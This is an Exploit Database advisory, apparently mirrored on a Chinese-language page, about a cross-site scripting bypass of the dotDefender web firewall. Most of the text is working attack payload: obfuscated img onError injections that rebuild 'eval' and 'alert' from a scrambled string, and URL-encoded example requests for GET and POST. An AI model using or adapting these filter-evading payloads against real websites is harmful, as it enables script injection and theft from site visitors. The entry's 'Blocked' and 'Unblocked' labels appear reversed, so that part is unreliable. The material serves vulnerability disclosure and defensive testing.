dotDefender – Cross-Site Scripting Security Bypass

• Exploit Database
• 10 阅读

• 作者： SH4V
  日期： 2010-07-09
• 类别：

  • remote
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/34297/

• source: https://www.securityfocus.com/bid/41560/info
  
  dotDefender is prone to a security-bypass vulnerability because it fails to restrict malicious data from reaching protected sites.
  
  Remote attackers can exploit this issue to bypass security restrictions and to launch cross-site scripting attacks. 
  
  <img src="https://www.exploit-db.com/exploits/34297/WTF" onError="{var
  {3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/0wn3d/
  .source
  )" /> //POST
  
  <img src="https://www.exploit-db.com/exploits/34297/WTF" onError="{var
  {3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v%2Ba%2Be%2Bs](e%2Bs%2Bv%2B
  h%2Bn)(
  /0wn3d/.source)" /> //GET
  
  EXAMPLES:
  
  Blocked:
  http://www.example.com/search?q=%3Cimg%20src=%22WTF%22%20onError=%22{var%20{3:s,2:h,5:a,0:v,4:n,1:e}=%27earltv%27}[self][0][v%2Ba%2Be%2Bs]%28e%2Bs%2Bv%2Bh%2Bn%29%28/0wn3d/.source%29%22%20/%3E
  
  Unblocked:
  http://www.example.com/search?q=%3Cimg%20src=%22WTF%22%20onError=alert(/0wn3d/.source)%20/%3E